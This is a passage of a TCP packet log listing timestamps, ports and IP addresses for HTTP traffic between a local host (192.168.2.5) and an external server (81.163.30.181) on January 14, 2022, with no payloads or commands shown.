Jan 14, 2022 21:06:07.101149082 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101161003 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101171970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101190090 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101197004 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101217985 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101219893 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101238966 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101239920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101257086 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101262093 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101274014 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101284981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101298094 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101313114 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101557016 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101578951 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101591110 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101608038 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101619959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101643085 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101653099 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101665974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.101685047 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.101697922 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102113008 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102137089 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102149963 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102161884 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102168083 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102186918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102195978 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102211952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102215052 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102236032 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102242947 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102262020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102269888 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102287054 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102296114 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102312088 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102329969 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102335930 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102355957 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102359056 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102376938 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102380991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102396965 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102404118 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102412939 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102425098 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102437019 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102447987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102457047 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102469921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102480888 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102489948 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102504015 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102511883 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.102521896 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.102540016 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.141792059 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.141823053 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.141844988 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.141855001 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.141882896 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.141896009 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.141902924 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.141917944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.141928911 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.141941071 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.141951084 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.141964912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.141974926 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.141987085 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.141993999 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.142010927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.142018080 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.142033100 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.142044067 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.142064095 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.143640041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143667936 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143692017 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143717051 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143739939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143763065 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143764973 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.143786907 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143806934 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.143810987 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143834114 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.143836021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143861055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143862009 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.143881083 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.143883944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143898964 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.143908024 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143918037 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.143930912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143938065 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.143953085 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143963099 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.143975973 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.143979073 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144001007 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144007921 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144023895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144035101 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144047976 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144057035 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144071102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144073963 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144094944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144102097 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144118071 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144128084 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144140959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144150019 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144170046 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144177914 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144195080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144200087 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144217014 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144227028 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144241095 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144248009 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144263029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144279957 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144285917 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144308090 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144309044 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144329071 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144330025 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144346952 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144357920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144365072 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144382954 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144390106 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144406080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144414902 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144428968 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144433022 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144452095 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144462109 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144475937 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144480944 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144499063 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144506931 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144524097 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144532919 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144546986 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144550085 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144572020 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144587994 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144596100 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144614935 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144620895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144632101 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144644022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144651890 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144668102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144676924 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144690990 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144695997 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144714117 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144731998 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144737959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144758940 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144762993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144778013 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144787073 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144794941 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144810915 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144819975 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144834042 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144838095 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144856930 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144872904 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144877911 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144901037 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144901991 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144920111 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144922018 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144936085 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144944906 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144958973 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144965887 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144977093 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.144988060 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.144995928 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145009041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145013094 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145030022 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145045042 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145052910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145061970 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145073891 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145081997 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145097017 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145103931 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145117998 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145137072 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145139933 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145164013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145165920 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145185947 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145186901 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145203114 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145209074 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145220041 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145231009 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145240068 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145251989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145260096 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145275116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145284891 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145301104 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145308971 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145324945 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145333052 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145348072 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145350933 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145371914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145380020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145392895 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145397902 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145415068 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.145433903 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.145461082 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146157980 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146182060 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146194935 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146203995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146223068 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146225929 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146243095 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146250010 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146261930 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146272898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146284103 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146297932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146300077 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146322966 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146331072 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146348000 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146356106 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146373034 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146373987 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146395922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146414042 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146420002 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146440029 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146444082 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146456957 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146461010 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146477938 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146483898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.146495104 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.146517992 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149046898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149072886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149094105 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149096966 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149116993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149117947 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149137020 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149144888 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149153948 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149169922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149173975 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149192095 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149202108 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149216890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149221897 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149239063 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149244070 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149260998 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149282932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149282932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149305105 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149312973 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149326086 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149346113 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149348974 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149373055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149374008 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149394035 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149396896 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149409056 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149421930 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149430037 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149445057 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149466038 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149468899 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149493933 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149493933 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149512053 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149519920 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149528027 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149544954 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149564028 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149569035 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149588108 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149591923 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149604082 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149617910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149627924 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149641037 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149648905 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149663925 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149682045 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149683952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149705887 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149707079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149725914 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149730921 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149743080 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149753094 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149765968 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149775028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149785042 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149804115 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149820089 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149842978 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149854898 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149874926 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149879932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149899960 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149919033 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149920940 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149943113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149943113 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149960995 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149964094 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.149980068 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:07.149986029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150010109 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:07.150019884 CET	49908	80	192.168.2.5	81.163.30.181
